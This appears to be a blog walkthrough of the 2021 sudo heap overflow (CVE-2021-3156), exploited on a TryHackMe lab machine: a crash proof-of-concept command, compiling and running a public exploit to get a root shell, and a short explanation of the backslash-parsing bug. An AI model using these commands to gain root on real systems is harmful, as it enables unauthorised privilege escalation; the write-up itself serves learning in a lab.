sudo is an ubiquitous utility that’s included in most if not all Unix- and Linux-based OSes. It allows users to run programs with the security privileges of another user. In most cases sudo comes into place when an unprivileged user wants to run commands with root privileges. So you can say that sudo is a very powerful tool. Having this in mind it is even more frightening that this vulnerability has remained undiscovered for almost 10 years.

On 26th January Security Researchers from Qualys have reported a heap-based buffer overflow in sudo. Successful exploitation of this vulnerability allows any unprivileged user to gain root privileges on the vulnerable host.


Luckily a TryHackMe Machine already exists where the vulnerability can be exploited so lets dive in.

First of all there is a simple crash PoC to check whether the system is vulnerable.

tryhackme@CVE-2021-3156:~$ sudoedit -s '\' $(python3 -c 'print("A"*1000)')
malloc(): memory corruption
Aborted (core dumped)

We have successfully overwritten the heap buffer which caused the program to crash => vulnerable

Knowing that our target is vulnerable lets clone the exploit repository, compile and run it.

tryhackme@CVE-2021-3156:~$ git clone
Cloning into 'CVE-2021-3156'...
remote: Enumerating objects: 50, done.
remote: Counting objects: 100% (50/50), done.
remote: Compressing objects: 100% (35/35), done.
remote: Total 50 (delta 25), reused 38 (delta 15), pack-reused 0
Unpacking objects: 100% (50/50), done.

tryhackme@CVE-2021-3156:~$ cd CVE-2021-3156/
tryhackme@CVE-2021-3156:~/CVE-2021-3156$ ll
total 36
drwxr-xr-x  3 root root 4096 Feb  5 10:07 ./
drwxr-xr-x 35 root root 4096 Feb  5 10:07 ../
-rwxr-xr-x  1 root root 1994 Feb  5 10:07*
drwxr-xr-x  8 root root 4096 Feb  5 10:07 .git/
-rw-r--r--  1 root root 4420 Feb  5 10:07 hax.c
-rw-r--r--  1 root root  407 Feb  5 10:07 lib.c
-rw-r--r--  1 root root  264 Feb  5 10:07 Makefile
-rw-r--r--  1 root root 1187 Feb  5 10:07
tryhackme@CVE-2021-3156:~/CVE-2021-3156$ less Makefile 
tryhackme@CVE-2021-3156:~/CVE-2021-3156$ make
rm -rf libnss_X
mkdir libnss_X
gcc -std=c99 -o sudo-hax-me-a-sandwich hax.c
gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c
tryhackme@CVE-2021-3156:~/CVE-2021-3156$ ls  hax.c  lib.c  libnss_X  Makefile  sudo-hax-me-a-sandwich

tryhackme@CVE-2021-3156:~/CVE-2021-3156$ ./sudo-hax-me-a-sandwich 

** CVE-2021-3156 PoC by blasty <[email protected]>

  usage: ./sudo-hax-me-a-sandwich <target>

  available targets:
    1) Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27
    2) Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31
    3) Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28

  manual mode:
    ./sudo-hax-me-a-sandwich <smash_len_a> <smash_len_b> <null_stomp_len> <lc_all_len>

tryhackme@CVE-2021-3156:~/CVE-2021-3156$ hostnamectl | grep "Operating System"
  Operating System: Ubuntu 18.04.5 LTS

tryhackme@CVE-2021-3156:~/Exploit$ file /etc/shadow 
/etc/shadow: regular file, no read permission  <-- root privileges required

tryhackme@CVE-2021-3156:~/Exploit$ whoami
tryhackme@CVE-2021-3156:~/Exploit$ id
uid=1000(tryhackme) gid=1000(tryhackme) groups=1000(tryhackme)

tryhackme@CVE-2021-3156:~/Exploit$ ./sudo-hax-me-a-sandwich 0

** CVE-2021-3156 PoC by blasty <[email protected]>

using target: 'Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27'
** pray for your rootshell.. **
[+] bl1ng bl1ng! We got it!
# whoami
# id  
uid=0(root) gid=0(root) groups=0(root),1000(tryhackme)

# cat /root/flag.txt

Further Research

What is sudoedit ?
It’s just a symlink to the sudo binary but different flags are set if sudoedit is called. These flags combined with the -s flag are necessary to reach the vulnerable code block.

tryhackme@CVE-2021-3156:~$ ls -la /usr/bin/sudoedit
lrwxrwxrwx 1 root root 4 Jan 31 20:46 /usr/bin/sudoedit -> sudo

As we can see above in the crash test example the fundamental bug is that sudo is not processing escaped characters correctly. If a command-line argument ends with a single backslash character sudo gets confused because it thinks that there has to be another character which in this case is the null terminator. So it escapes the null terminator and keeps processing things because it didn’t notice the null terminator which then leads to heap buffer overflow. To successfully exploit this vulnerability many tricky things need to be done which I haven’t digged into and probably don’t understand yet either.

0xAPPA from the future

One of my favorite security content creators has now investigated the vulnerability and tried to figure out how fuzzing could have been used to find the vulnerability. Highly recommend Liveoverflow.